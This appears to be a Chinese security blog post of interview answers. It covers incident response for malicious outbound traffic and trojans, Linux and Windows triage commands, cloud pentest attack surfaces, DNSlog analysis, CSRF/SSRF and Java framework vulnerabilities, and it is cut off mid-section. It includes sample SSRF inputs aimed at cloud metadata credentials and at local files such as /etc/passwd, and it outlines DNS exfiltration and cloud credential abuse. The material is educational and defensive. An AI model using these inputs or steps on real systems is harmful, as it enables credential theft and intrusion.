W1lsp0 发布的文章 - 一个CTFer的小窝
首页
状态
友链
留言
追番
更多
视频
搜 索
1
Docker常用命令
56 阅读
2
Jet全家桶和Navicat激活(仅可用于学生学习使用)
43 阅读
3
CTF show web入门之文件上传
39 阅读
4
华为交换机&路由器命令
37 阅读
5
软考基本知识
33 阅读
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
登录
搜 索
标签搜索
MySQL
数据库
DNS
根服务器
根节点
软件
激活
HVV
云安全
网络安全
W1lsp0
累计撰写
24
篇文章
累计收到
2
条评论
首页
栏目
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
页面
状态
友链
留言
追番
视频
用户登录
登录
找到
21
篇与
W1lsp0
相关的结果
2025-04-23
面试备份
1. 恶意外联,排查思路?场景描述: 你发现公司内网(或服务器)有主机在与已知的恶意 IP 地址、域名或命令控制服务器 (C2) 进行通信。排查目标: 找到发起外联的源头(哪个主机的哪个进程),确定外联的目的地和意图,评估影响,进行处置。详细排查思路:确认信息和初步定位:获取告警/日志细节:源 IP 地址: 是哪台内网机器发起的连接?目标 IP 地址/域名: 连接到哪个外部地址?目标端口: 使用哪个端口进行通信?(例如 80/443 常规 Web,还是其他可疑端口?)协议: 使用什么协议? (TCP, UDP, ICMP, DNS 等)时间戳: 外联发生的确切时间?是持续性的还是偶发性的?数据量: 传输了多少数据?(少量心跳包?大量数据外泄?)信息来源:这些信息通常来自哪里?防火墙 (Firewall) / 下一代防火墙 (NGFW): 记录了出站连接尝试。入侵检测/防御系统 (IDS/IPS): 检测到恶意流量模式或已知恶意 IP/域名的连接。安全信息和事件管理平台 (SIEM): 关联了多个来源的日志,触发了告警。网络流量分析 (NTA) 工具: 监控和分析网络流量。终端检测与响应 (EDR) 平台: 直接在终端上检测到可疑网络活动。分析目标地址:威胁情报查询: 将目标 IP 地址或域名输入到威胁情报平台(如 VirusTotal, ThreatBook, 微步在线, AlienVault OTX 等)查询其信誉。确认它是否是已知的恶意软件 C2 服务器、钓鱼网站、扫描器等。WHOIS 查询: 查询域名的注册信息和 IP 地址的归属信息。反向 DNS 查询: 查看 IP 地址是否关联了特定的域名。定位内网源主机:根据源 IP 地址:如果是静态分配的 IP,直接找到对应的服务器或设备。如果是 DHCP 分配的 IP,需要查询 DHCP 服务器的日志,根据外联发生的时间戳找到当时使用该 IP 的主机的 MAC 地址和主机名。根据 MAC 地址在交换机上查询对应的物理端口,或在资产管理系统中查找对应的主机。登录源主机进行详细排查(关键步骤):隔离(可选但推荐): 在不影响业务的前提下,考虑先将该主机从网络中隔离(拔网线或配置网络访问控制),防止恶意软件进一步扩散或通信。查找恶意进程:实时网络连接:Windows: netstat -ano (查看所有连接、监听端口、对应的进程 ID (PID))。找到与恶意外联目标 IP/端口匹配的连接,记下其 PID。Linux: netstat -antup 或 ss -antup (类似功能,显示 PID 和进程名)。找到对应的 PID。关联进程:Windows: 使用任务管理器 (Task Manager) 或更强大的 Process Explorer (Sysinternals Suite 工具),根据 PID 找到对应的进程名、可执行文件路径、启动参数、父进程等。Linux: 使用 ps aux | grep <PID> 或 ps -fp <PID> 查看进程详细信息(用户、启动命令、路径等)。使用 ls -l /proc/<PID>/exe 查看可执行文件路径,ls -l /proc/<PID>/cwd 查看当前工作目录。分析可疑进程:进程路径和名称: 是否位于不寻常的目录(如临时文件夹、用户下载目录)?进程名是否伪装成系统进程(例如 svch0st.exe)?数字签名: (Windows) 检查可执行文件是否有有效的数字签名。文件 Hash: 计算可执行文件的 MD5/SHA256 哈希值,再次提交到威胁情报平台进行分析。父进程: 它是如何启动的?是被正常程序调用,还是由可疑的父进程启动?资源占用: CPU、内存、网络占用是否异常?检查持久化机制:恶意软件通常会设置持久化以在系统重启后继续运行。Windows: 检查注册表启动项 (Run, RunOnce 等键)、计划任务 (Task Scheduler)、服务 (Services)、启动文件夹。推荐使用 Autoruns (Sysinternals Suite 工具) 全面检查。Linux: 检查 cron 定时任务 (crontab -l, /etc/cron.*)、systemd 服务 (systemctl list-unit-files --type=service)、rc 脚本 (/etc/init.d/, /etc/rc.local)、用户配置文件 (.bashrc, .profile) 中有无可疑条目。检查可疑文件:根据进程分析找到的相关文件。检查系统临时目录、用户下载目录、最近修改的文件。使用 find (Linux) 或 dir /T:C /O:-D (Windows,按创建时间排序) 等命令查找可疑时间段内创建或修改的文件。查看日志:系统日志(Windows Event Logs, Linux /var/log/syslog, /var/log/auth.log 等)。应用程序日志。安全软件日志 (AV, EDR)。处置与恢复:终止恶意进程。清除恶意文件和持久化项。修复被篡改的配置。全盘查杀: 使用最新的防病毒软件进行全盘扫描。修改密码: 如果怀疑凭据泄露,修改该主机及可能受影响用户的密码。必要时重装系统: 如果感染严重或无法彻底清除,最安全的方法是备份数据后重装系统。恢复网络连接并监控: 清理干净后,重新接入网络并持续监控一段时间,确保没有复发。总结与报告:记录整个排查过程、发现、处置方法。分析根本原因(如何被感染的?)。提出改进建议(加强边界防护、终端安全、用户培训等)。2. 办公网电脑看历史命令?场景描述: 需要查看某台办公网 Windows 电脑上用户执行过的命令,通常是为了审计、排查问题或安全调查。详细方法:CMD (命令提示符) 历史:当前会话历史: 在打开的 CMD 窗口中,按 F7 键可以弹出当前会话的历史命令列表。或者使用 doskey /history 命令显示。缺点:默认不持久化保存。关闭 CMD 窗口后,该窗口的历史记录通常就丢失了。每个 CMD 窗口的历史是独立的。用户可以轻易清除 (Alt+F7) 或禁用历史记录。潜在的持久化文件(不常用,依赖特定配置或工具): 某些环境下可能有工具或配置将 doskey 历史保存到文件,但这并非 Windows 默认行为。PowerShell 历史:当前会话历史: 在打开的 PowerShell 窗口中,使用 Get-History (或别名 h, history) 命令查看当前会话的历史命令。持久化历史文件:PowerShell (特别是较新版本带 PSReadLine 模块的) 会默认将历史命令记录到一个文件中。文件路径通常是: $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt (具体路径可能因 PowerShell 版本和配置略有不同)。你可以直接用文本编辑器打开这个文件查看。优点: 默认开启,跨会话保存,记录相对完整。缺点: 用户可以手动删除该文件,或者通过配置禁用历史记录 (Set-PSReadLineOption -HistorySaveStyle SaveNothing)。获取历史文件路径的命令: (Get-PSReadLineOption).HistorySavePathWindows 事件日志 (Event Log) - 进程创建日志:前提条件:需要在组策略 (Group Policy) 中启用 "审核进程创建" (Audit Process Creation) 以及 "在进程创建事件中包括命令行" (Include command line in process creation events)。策略路径:计算机配置 -> Windows 设置 -> 安全设置 -> 高级审核策略配置 -> 系统审核策略 -> 详细跟踪 (Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> System Audit Policies -> Detailed Trac1king)。查看方法:打开 "事件查看器" (Event Viewer)。导航到 Windows 日志 -> 安全 (Windows Logs -> Security)。筛选事件 ID 4688 (进程创建)。内容: 每个 4688 事件会记录哪个用户启动了哪个进程 (新进程名称),以及(如果开启了命令行审计)完整的命令行参数 (进程命令行)。优点: 相对可靠,不易被普通用户篡改(需要管理员权限清除日志),记录了所有通过命令行启动的进程,不仅仅是交互式 shell 命令。缺点:需要提前配置审计策略,否则不会记录。日志量可能很大,需要有效筛选。它记录的是进程启动,而不是用户在 CMD 或 PowerShell 交互界面输入的每一条命令(例如 cd, dir 这些内置命令可能不会作为单独进程启动,就不会有 4688 事件)。但执行外部程序(如 ping.exe, notepad.exe)会记录。第三方工具/EDR:很多终端安全软件 (EDR - Endpoint Detection and Response) 会记录详细的进程活动和命令行历史,通常提供更方便的查询界面和更长的保存时间。如果公司部署了这类工具,应首先考虑使用它们进行查询。总结: 对于办公网 Windows 电脑:查 PowerShell 历史文件 (ConsoleHost_history.txt) 是最直接的方法,看用户交互式执行了什么。查 Windows 事件日志 4688(需提前开启命令行审计)是更全面、更可靠的方法,看系统实际启动了哪些进程及其参数。CMD 的历史记录非常有限,基本不可靠。EDR 等专业工具提供最佳的可见性。3. 钓鱼外联中了木马,排查思路?场景描述: 用户报告点击了钓鱼邮件/链接/附件,之后电脑行为异常,并且安全设备检测到该电脑有恶意外联(可能是连向 C2 服务器)。排查目标: 确认感染,理解木马行为,清除木马,防止进一步损害,找到初始入侵向量。详细排查思路(这是一个典型的应急响应过程):准备 (Preparation): (理想情况下,平时就应该准备好)应急响应计划、联系人列表。取证工具(如 Sysinternals Suite, Wireshark, Volatility 等)。干净的 U 盘、移动硬盘。日志系统(SIEM, 防火墙日志, 代理日志, DNS 日志, EDR 日志等)。识别 (Identification):确认告警/报告:用户报告的具体情况(收到的邮件、点击的链接/附件、发生的时间、出现的异常现象)。网络告警(如 Q1 中提到的恶意外联告警)的详细信息(源 IP、目标 IP/域名/端口、协议、时间)。终端告警(杀毒软件报毒、EDR 告警)。初步判断: 结合用户报告和告警信息,初步判断感染的可能性、感染时间和潜在的木马类型。遏制 (Containment): 非常重要的一步!立即隔离受感染主机:物理断网(拔掉网线)。逻辑隔离(在交换机上禁用端口、将其划分到隔离 VLAN、使用 EDR 的隔离功能)。目的: 防止木马横向移动感染其他机器,阻止与 C2 服务器的通信(数据外泄、接收新指令)。注意: 隔离前考虑是否需要抓取内存镜像(用于后续深入分析),因为断电或关机会导致内存信息丢失。但优先考虑阻止危害扩大。根除 (Eradication): 在隔离的主机上进行详细分析和清除。内存分析 (如果抓取了镜像): 使用 Volatility 等工具分析内存镜像,可以找到正在运行的恶意进程、网络连接、注入的代码、加载的DLL、命令行历史等,即使恶意软件试图隐藏自己。主机分析 (核心步骤,类似 Q1 的主机排查):查找恶意进程和网络连接: 使用 netstat -ano, tasklist, Process Explorer, ps, ss 等工具,重点关注那些与外联告警匹配的连接,以及看起来可疑(名称、路径、无签名、CPU/内存占用异常)的进程。分析启动项和持久化: 使用 Autoruns (Win) 或手动检查 cron, systemd, rc 脚本 (Linux) 等,查找木马设置的自启动项。文件系统分析:根据进程/启动项找到的恶意文件路径。检查用户下载目录、临时目录、回收站。查找在感染时间点附近创建或修改的文件。对可疑文件进行 Hash 计算,提交到威胁情报平台。使用 strings 命令查看可执行文件中的可疑字符串(IP, 域名, 命令)。日志分析: 检查系统日志、安全日志、应用程序日志、浏览器历史记录、PowerShell 历史记录等,寻找与感染事件相关的线索(例如,用户下载并运行了某个文件,某个进程在特定时间启动)。获取原始钓鱼样本: 如果可能,找到用户收到的钓鱼邮件或点击的链接/文件,进行分析(注意安全,在沙箱中进行)。了解攻击者使用的技术和诱饵。清除操作:终止恶意进程。删除恶意文件。移除持久化机制。修复被篡改的系统设置。恢复 (Recovery):系统重建:对于中了木马的主机,最安全可靠的方式是:备份用户数据(确保数据本身没有被感染或加密)。完全格式化硬盘。重新安装干净的操作系统和应用程序。恢复用户数据。打上所有安全补丁。凭据重置: 强制用户修改密码,特别是该用户在受感染机器上登录过的所有账户密码。如果怀疑域凭据泄露,可能需要重置域用户甚至 krbtgt 账户密码。重新接入网络和监控: 确认系统干净后,重新接入生产网络,并对其进行密切监控一段时间,确保没有残留或再次感染。事后总结 (Lessons Learned):编写事件报告:时间线、影响范围、技术细节、处置过程。分析根本原因:为什么钓鱼成功了?是邮件过滤问题?用户意识不足?终端防护缺失?改进措施:加强邮件安全网关策略、部署更强的终端防护 (EDR)、进行针对性的用户安全意识培训、完善补丁管理流程、改进应急响应流程等。4. Linux 上机排查思路,应用恶意外联?场景描述: 你登录到一台 Linux 服务器上,需要排查一个正在运行的应用(或未知进程)发起的恶意外联。排查目标: 找到发起外联的具体进程,分析其行为、来源和目的,清除威胁。详细排查思路(侧重 Linux 命令和工具):识别可疑网络连接:ss -antup | grep ESTAB: 查看当前建立的 TCP 连接,包括源/目标 IP 和端口,以及对应的进程信息 (PID/进程名)。重点关注连接到可疑外部 IP 的连接。netstat -antup | grep ESTAB: 功能类似 ss,是比较传统的命令。lsof -i: 列出所有打开网络连接的文件描述符及其对应的进程。可以用 lsof -i :<端口号> 或 lsof -i @<目标IP> 进行过滤。目标: 找到与恶意外联相关的连接,并记下其 PID。分析可疑进程:获取进程信息:假设找到的可疑 PID 是12345。ps -fp 12345: 查看进程的详细信息,包括 UID (用户)、PPID (父进程 ID)、启动时间、完整的命令行 (CMD)。ps aux | grep 12345: 提供另一种格式的进程信息。定位可执行文件:ls -l /proc/12345/exe: 显示该 PID 对应的可执行文件的实际路径(即使文件在磁盘上被删除了,这里可能仍然指向 (deleted),但能提供线索)。查看进程工作目录:ls -l /proc/12345/cwd: 显示进程启动时所在的目录。恶意软件可能在这里放置了其他文件。查看进程打开的文件:lsof -p 12345: 列出该进程打开的所有文件,包括库文件、配置文件、日志文件以及网络连接。这有助于了解进程在读写哪些文件,与哪些主机通信。查看进程环境变量:cat /proc/12345/environ | tr '\0' '\n': 查看进程运行时的环境变量,有时可能包含配置信息或敏感数据。分析父进程: 查看 PPID,使用 ps -fp <PPID> 分析父进程。是正常的系统服务启动的?还是由 cron 启动的?或是由另一个可疑进程启动的?分析可疑文件:文件类型: file /path/to/suspicious_executable: 判断文件类型(ELF 可执行文件、脚本文件等)。Hash校验: md5sum /path/to/suspicious_executable 和 sha256sum /path/to/suspicious_executable 计算 Hash 值,提交到威胁情报平台查询。查看字符串: strings /path/to/suspicious_executable | less: 查看文件中包含的可打印字符串,可能会发现硬编码的 IP 地址、域名、命令、注释等线索。检查配置文件: 如果该进程是一个应用,检查其配置文件(可能在 /etc/, /usr/local/etc/, 进程 cwd 目录或用户家目录下),看是否有被篡改的迹象(例如指向恶意地址的配置)。检查脚本文件: 如果是脚本(Shell, Python, Perl 等),直接阅读源代码分析其逻辑。检查持久化机制:crontab -l (检查当前用户和 root 用户的定时任务)。检查 /etc/cron.* 目录下的定时任务脚本。systemctl list-unit-files --type=service --state=enabled: 查看已启用的 systemd 服务。检查 /etc/systemd/system/ 和 /usr/lib/systemd/system/ 下是否有可疑的服务单元文件。检查 /etc/init.d/ 或 /etc/rc*.d/ 下的 SysVinit 风格的启动脚本。检查用户的 shell 配置文件(如 ~/.bashrc, ~/.profile, /etc/profile)是否被添加了恶意命令。检查是否有隐藏的进程或服务(例如通过 ld.so.preload 劫持)。检查系统日志:/var/log/syslog 或 /var/log/messages: 系统全局日志。/var/log/auth.log 或 /var/log/secure: 认证和授权日志(SSH 登录、sudo 使用等)。应用自身日志(如 /var/log/nginx/, /var/log/apache2/, 应用自定义日志路径)。last: 查看最近登录系统的用户记录。lastlog: 查看所有用户最后登录的信息。时间线分析:根据外联发生的时间,使用find命令查找该时间点前后被修改过的文件:find / -mmin -60 (查找过去 60 分钟内被修改过的文件)find / -cmin -60 (查找过去 60 分钟内状态(权限等)被改变过的文件)find / -amin -60 (查找过去 60 分钟内被访问过的文件)结合 -user 或 -group 参数缩小范围。处置与恢复(同 Q3):隔离主机。终止恶意进程 (kill <PID>, kill -9 <PID>)。删除恶意文件和持久化项。必要时从备份恢复或重装系统。修改密码。恢复服务并持续监控。5. 云环境渗透会从哪些入手?场景描述: 对部署在云平台(如 AWS, Azure, GCP)上的环境进行渗透测试。入手点/攻击面(与传统内网渗透有相似之处,但更侧重云特有服务和配置):信息收集与侦察 (Reconnaissance):目标范围确认: 明确测试范围,哪些云账号、资源、服务在测试范围内。子域名枚举: 寻找与目标相关的云服务接入点(如 Web 应用、API 网关)。IP 地址和端口扫描: 扫描目标分配到的公网 IP 段,寻找开放的端口和服务(如 EC2, VM, Load Balancer)。对象存储枚举: 尝试发现公开的云存储桶/容器(如 AWS S3 buckets, Azure Blob containers, GCP Cloud Storage buckets)。使用工具或字典猜测常见的命名规则。代码库扫描: 在 GitHub、GitLab 等公开代码库中搜索目标组织的名称、域名、员工姓名等,寻找可能泄露的访问密钥 (Access Keys)、API 密钥、配置文件、硬编码密码等。云服务发现: 利用专门的云侦察工具(如 Cloud Mapper, Scout Suite 等,需要有一定权限或利用已知信息)或云提供商的 CLI/API 来识别目标环境中使用的服务类型和资源。身份与访问管理 (IAM) 安全: 云环境的核心攻击面!弱密码/默认密码: 尝试爆破云控制台登录、虚拟机 SSH/RDP、数据库等账户的密码。泄露的访问密钥 (Access Keys / Service Principals / Service Accounts): 利用信息收集中找到的密钥,尝试通过 AWS CLI, Azure CLI, gcloud CLI 或 SDK 进行认证,查看其权限。权限配置错误 (Overly Permissive Roles/Policies):如果获得了一个低权限的密钥或用户访问权限,检查其附加的 IAM 策略/角色。寻找是否有过高的权限(如 *:* 权限、对敏感服务如 IAM、KMS、Secrets Manager 的写权限)。尝试利用已有权限进行权限提升(例如,有权限创建新策略并附加给自己,有权限启动可以附加高权限角色的新实例等)。缺乏多因素认证 (MFA): 检查关键账户(尤其是根用户/全局管理员)是否启用了 MFA。元数据服务利用 (Metadata Service Exploitation): (尤其 AWS EC2) 如果目标在云主机上部署的应用存在服务器端请求伪造 (SSRF) 漏洞,可以尝试访问实例元数据服务 (如 http://169.254.169.254/) 来窃取附加到该实例的 IAM 角色凭证。计算资源 (Compute) 安全:虚拟机/实例 (EC2, Azure VM, GCE):暴露的管理端口: 如 SSH (22), RDP (3389), WinRM (5985/5986) 是否对公网开放?是否存在弱口令或默认口令?未打补丁的系统/应用漏洞: 对实例上运行的操作系统和应用程序进行漏洞扫描和利用(类似传统主机渗透)。安全组/网络安全组 (Security Groups / NSGs) 配置不当: 是否允许了不必要的入站/出站流量?容器 (Containers - EKS, AKS, GKE, Docker):暴露的容器管理端口: 如 Docker daemon 端口 (2375/2376)、Kubernetes API Server (6443) 是否可被未经授权访问?镜像漏洞: 使用存在已知漏洞的基础镜像或应用程序镜像。容器逃逸: 利用内核漏洞或错误配置(如特权容器 --privileged)从容器内部获取宿主机权限。K8s 配置错误: 如允许匿名访问 API Server、RBAC 权限配置不当等。Serverless 函数 (Lambda, Azure Functions, Cloud Functions):代码漏洞: 函数代码本身可能存在漏洞(如注入、不安全的反序列化)。事件注入: 如果函数的触发器(如 API Gateway, S3 event)没有正确处理输入,可能导致命令注入或数据泄露。执行角色权限过大: 函数被赋予了不必要的访问其他云资源的权限。依赖库漏洞: 使用了存在漏洞的第三方库。存储 (Storage) 安全:对象存储 (S3, Blob Storage, GCS) 权限配置错误:公开读/写: 存储桶/容器是否被错误地配置为允许公共访问?导致敏感数据泄露或被篡改/上传恶意文件。访问控制列表 (ACL) / 存储桶策略 (Bucket Policy) 配置不当: 即使不是完全公开,也可能允许了非预期的账户或用户组访问。数据加密: 存储的数据是否进行了静态加密?传输过程中是否使用了 TLS?数据库 (Database) 安全:云数据库服务 (RDS, Azure SQL DB, Cloud SQL):网络可达性: 数据库实例是否不必要地暴露在公网?弱密码/默认密码。未加密连接。权限配置不当。SQL 注入(通过连接的应用)。网络配置安全:安全组/NSG/防火墙规则过于宽松。VPC/VNet 配置: 子网路由、网络 ACLs (NACLs)、VPC Peering / Private Link 配置是否安全。负载均衡器 (Load Balancer) 配置: 是否暴露了后端不应暴露的端口或信息?监听器安全策略是否足够强?日志与监控缺失:缺乏足够的日志记录(如 CloudTrail, CloudWatch Logs, Azure Monitor, Google Cloud Logging)使得攻击难以被发现和溯源。没有配置有效的告警来及时发现可疑活动。云平台自身漏洞(较少见,但存在): 利用云服务提供商自身软件或架构中可能存在的漏洞。6. DNS log 是正常?误报?还是真实攻击?dns-log 被攻击的排查思路?场景描述: 你在查看 DNS 查询日志(可能来自内部 DNS 服务器、防火墙或专门的 DNS 安全设备)时,发现有内网主机查询一个看起来可疑的域名,特别是像 *.dnslog.cn, *.burpcollaborator.net 或其他随机性很强、无明确意义的子域名。区分正常、误报与真实攻击:什么是 DNSLog 平台?像 dnslog.cn 或 Burp Suite 的 Collaborator 这类服务,提供一个公共或私有的 DNS 服务器。当有人查询指向这个服务器的特定子域名时(例如 randomstring.yourid.dnslog.cn),平台会记录下这次查询的来源 IP 和时间。合法用途:漏洞验证 (OOB - Out-of-Band): 安全测试人员(白帽子)或安全扫描器在测试某些无法直接看到回显的漏洞(如 Blind SSRF, Blind SQL Injection, Blind XXE, Log4Shell RCE 等)时,会构造一个 Payload,让目标服务器发起一次 DNS 查询到这个平台。如果平台收到了查询记录,就证明 Payload 成功触发,漏洞存在。这是最常见的“正常”或“测试”情况。网络连接测试: 开发或运维人员有时用它快速测试某台机器是否能正常解析 DNS 并访问外网。恶意用途:数据外泄 (Data Exfiltration): 攻击者窃取数据后,将数据编码(如 Base64)放到子域名中(例如 base64data.attacker.controlled.domain.com),然后通过大量 DNS 查询将数据偷偷传输出去。防火墙可能允许 DNS 流量,从而绕过检查。命令与控制 (C2 Communication): 恶意软件通过查询特定格式的子域名来获取指令(可能编码在 TXT 记录或其他记录类型中)或发送心跳包表明自己在线。恶意软件利用 OOB 验证: 恶意软件利用类似 Log4Shell 的漏洞进行攻击时,也会使用 DNSLog 来确认攻击是否成功。判断步骤:来源 IP 是谁?是已知的安全扫描器 IP 地址?(例如 Nessus, Qualys 等)是安全团队成员的测试机 IP?是开发人员的机器?(可能在调试代码或测试)是普通用户的办公电脑?(可疑度增加)是生产环境的服务器?(高可疑度,除非有计划内测试)查询的域名是什么?是公共 OOB 测试平台域名 (dnslog.cn, burpcollaborator.net, interact.sh 等)? -> 倾向于测试或扫描。是一个完全未知、随机字符或看起来像自定义的域名? -> 可疑度高,可能是攻击者的私有 C2 或 DNSLog 平台。子域名结构是怎样的?是一个固定的、无意义的随机字符串? -> 可能是简单的连通性测试或 OOB 验证 Ping。包含了主机名、用户名、内网 IP 地址? -> 可能是信息探测。包含了看起来像 Base64 或其他编码的长字符串? -> 极有可能是数据外泄。结构随时间变化,像是在传递命令或状态? -> 可能是 C2 通信。查询频率和时间?是在已知的安全测试窗口期内? -> 可能是计划内活动。是单次查询还是持续性、周期性的查询? -> 持续性查询更像是 C2 心跳或数据外泄。查询量非常大? -> 可能是大规模数据外泄。是否有伴随行为?查询来源主机在相近时间是否有其他可疑活动?(例如,Web 访问日志显示有注入 Payload 的请求?EDR 报告了可疑进程执行?)总结判断:正常/误报(大概率): 来源是扫描器/安全测试人员,查询的是公共 OOB 平台,发生在测试窗口期,子域名无明显数据特征。 -> 处置: 确认是计划内活动即可,或优化扫描策略避免不必要的 OOB 请求。真实攻击(可能性高): 来源是普通用户/服务器,查询的是未知域名或带有编码数据的子域名,持续性查询,或伴随其他告警。 -> 处置: 进入应急响应流程。DNSLog 被攻击的排查思路(假设已判断为真实攻击):定位源头主机: 通过 DNS 日志中的源 IP 地址,找到发起查询的具体内网主机(方法同 Q1/Q3)。隔离主机: 立即将该主机进行网络隔离。主机排查:找到发起 DNS 查询的进程:使用 netstat, ss, lsof -i:53 (如果直连外部 DNS) 或检查本地 DNS Client 服务日志。在 Windows 上可以用 Sysmon 监控 DNS 查询事件 (Event ID 22),可以直接关联进程。EDR 工具通常能直接显示哪个进程发起了 DNS 查询。分析该进程: 它是恶意软件?还是被漏洞利用的正常应用(如存在 Log4Shell 的 Java 应用)?进行详细的进程、文件、持久化分析(参考 Q1/Q3/Q4 的主机排查步骤)。数据外泄场景: 寻找哪个进程在读取敏感文件/数据,并构造 DNS 查询。检查脚本、历史命令、恶意软件代码。C2 通信场景: 分析恶意软件的网络模块,看它如何编码/解码 DNS 查询和响应中的指令。漏洞利用 OOB 场景: 查找被利用的漏洞。检查 Web 服务器日志、应用日志,找到触发 OOB 请求的原始恶意输入 (Payload)。网络层面阻断: 在防火墙或 DNS 服务器上,阻止对该恶意域名(通常是其主域名,如 *.attacker.controlled.domain.com)的查询或解析。根除与恢复: 清除恶意软件,修复被利用的漏洞,恢复系统(参考 Q3/Q4)。溯源与总结: 分析入侵途径,是钓鱼?漏洞利用?弱口令?改进防御策略。7. CSRF 攻击面?比较大的攻击?SSRF 能做到什么攻击效果?CSRF (Cross-Site Request Forgery / 跨站请求伪造):攻击原理: 攻击者诱导一个已经登录了目标网站 A 的用户,去访问一个包含恶意代码的网站 B(或点击一个恶意链接/图片)。网站 B 上的代码会强迫用户的浏览器向网站 A 发送一个请求(例如修改密码、转账等)。因为这个请求是用户浏览器发出的,并且会自动带上网站 A 的有效 Cookie (Session ID),所以网站 A 会误以为这是用户本人自愿的操作,从而执行该请求。攻击面 (Attack Surface):所有需要用户登录后才能执行的状态变更操作 (State-Changing Operations)。这些操作仅依赖 Cookie (或其他浏览器自动发送的认证机制如 HTTP Basic Auth) 来验证用户身份,没有使用额外的、不可预测的令牌(Anti-CSRF Token)来验证请求的来源。常见例子:修改用户个人信息(密码、邮箱、电话)执行金融操作(转账、购买商品)发布/删除/修改内容(发帖、删帖、点赞、加好友)更改账户权限或设置对后台管理功能的操作(添加/删除用户、修改配置)比较大的攻击 (Significant Impact):账户接管: 修改用户密码或邮箱,导致攻击者可以完全控制用户账户。资金窃取: 在购物网站或银行网站上替用户进行支付或转账。蠕虫传播: 在社交网站上替用户自动发送包含恶意链接的消息或帖子,感染更多用户。后台管理权限滥用: 如果管理员账户受到 CSRF 攻击,可能导致添加恶意管理员、修改全局设置、获取敏感数据等严重后果。数据破坏: 批量删除用户的重要数据。关键在于: CSRF 攻击的危害程度,直接取决于被伪造的那个请求本身能做什么操作。SSRF (Server-Side Request Forgery / 服务器端请求伪造):攻击原理: 攻击者发现一个 Web 应用的功能点,该功能点会根据用户输入(通常是 URL 或部分 URL)去从服务器后端发起一个新的 HTTP 请求到用户指定的地址。攻击者通过构造恶意的 URL,使得服务器代替攻击者去访问其无法直接访问的资源。攻击面 (Attack Surface):任何需要根据用户输入去获取远程资源的功能。常见例子:URL 预览/内容抓取: 分享链接时自动生成标题和图片预览。图片/文件处理: 从 URL 加载图片进行处理(缩放、加水印),从 URL 下载文件,导入网络资源。Webhooks/API 调用: 调用用户指定的回调 URL,与其他 Web 服务集成。PDF/文档生成器: 根据用户提供的 URL 生成 PDF。后台管理功能: 某些需要从指定 URL 拉取配置或数据的管理接口。能做到什么攻击效果 (Attack Effects):探测内网 (Internal Network Scanning):攻击者无法直接访问的内网 IP 和端口。可以构造 http://192.168.x.x:port, http://10.x.x.x:port, http://localhost:port 等 URL,根据服务器的响应时间、错误信息来判断内网主机和端口的开放状态。攻击内网应用 (Attacking Internal Services):访问内网中没有做严格认证的 Web 应用(如内部管理后台、监控系统 Grafana/Zabbix、开发工具 Jenkins/GitLab、数据库管理界面 phpMyAdmin)。可以读取这些应用的敏感信息,甚至利用这些内网应用自身的漏洞进行进一步攻击(例如,访问一个未授权的 Redis 端口并执行命令,访问未授权的 JBoss JMX 控制台执行代码)。读取服务器本地文件 (Reading Local Files):如果服务器端的 HTTP 客户端库支持 file:// 协议,可以构造 file:///etc/passwd, file:///proc/self/cmdline, file:///c:/windows/win.ini 等 URL 来读取服务器上的敏感文件。云环境下的元数据窃取 (Cloud Metadata Theft):(非常关键!)在 AWS, GCP, Azure 等云环境中,虚拟机实例可以通过访问一个特殊的内网地址(如 AWS 的 http://169.254.169.254/latest/meta-data/)获取实例的元数据,其中可能包含临时的访问凭证 (IAM Role Credentials)。攻击者利用 SSRF 让服务器访问这个地址,就能窃取到这些高权限凭证,进而控制更多的云资源。可能导致远程代码执行 (Potential RCE):如果能访问到内网中存在 RCE 漏洞的服务(如某些版本的 Redis, Elasticsearch, Jenkins),可以通过 SSRF 构造请求来触发这些 RCE 漏洞。拒绝服务 (Denial of Service - DoS):让服务器去请求一个会返回巨大响应的资源,耗尽服务器资源。让服务器不断请求自己(http://localhost:port),形成请求循环。核心区别:CSRF 是服务器信任了来自用户浏览器的请求(利用用户的身份)。SSRF 是服务器信任了用户提供的 URL,并代替用户(以服务器的身份)发起了请求。8. Java 框架有什么典型漏洞?Java 内存马分析工具和流量特征?内存马排查处置思路?Java 框架典型漏洞:Java 生态庞大,漏洞种类繁多,以下是一些非常经典和常见的类型:远程代码执行 (RCE):反序列化 (Deserialization): 最臭名昭著的一类。当应用接收并反序列化来自不受信任来源的数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中利用 "gadget chains"(存在于常用库如 Apache Commons Collections, Fastjson <1.2.48, Jackson, WebLogic T3/IIOP 协议等)来执行任意代码。表达式语言注入 (EL Injection): 在 Struts2 (OGNL 表达式) 和 Spring (SpEL 表达式) 中较为常见。如果将用户输入直接拼接到表达式中执行,攻击者可以构造恶意表达式来执行代码。模板注入 (Template Injection / SSTI): 在使用 Velocity, Freemarker, Thymeleaf, Pebble 等模板引擎时,如果将用户输入直接作为模板内容渲染,可能导致注入并执行代码。JNDI 注入 (JNDI Injection): Log4Shell (CVE-2021-44228) 就是典型的 JNDI 注入。应用在 JNDI 查询中使用了用户可控的输入,攻击者可以指定一个恶意的 RMI/LDAP 服务器地址,导致服务器加载并执行远程恶意类。XML 外部实体注入 (XXE): (严格来说更像信息泄露和 SSRF,但有时也能 RCE) 处理用户提供的 XML 时,如果解析器允许外部实体,可能导致 RCE(例如通过 expect:// 协议)。命令注入 (Command Injection): 应用代码直接将用户输入拼接到 Runtime.exec() 或 ProcessBuilder 的命令字符串中执行。文件上传漏洞: 上传可执行脚本文件(如 JSP)到 Web 目录下,然后访问该文件触发执行。Shiro 框架相关漏洞:Shiro < 1.2.4 (Shiro-550): RememberMe 功能的 AES 加密密钥硬编码,导致攻击者可以构造恶意的 RememberMe Cookie 来绕过认证甚至执行代码(依赖于可用的 gadget)。Shiro < 1.5.2 (Shiro-721): 权限校验逻辑缺陷,特定构造的 URL 可以绕过权限检查。Spring 框架相关漏洞:Spring Cloud Gateway Actuator API 未授权访问/RCE。Spring WebFlow 反序列化 RCE。Spring Messaging RCE (CVE-2018-1270)。Spring Core RCE (Spring4Shell / CVE-2022-22965): 特定条件下(JDK 9+, Tomcat部署 WAR 包)利用 DataBinder 进行类加载器操纵,写入 Webshell。Spring Security 权限绕过/配置错误。其他常见 Web 漏洞:SQL 注入 (SQLi)跨站脚本 (XSS)目录遍历 (Path Traversal)SSRF (见上题)Java 内存马 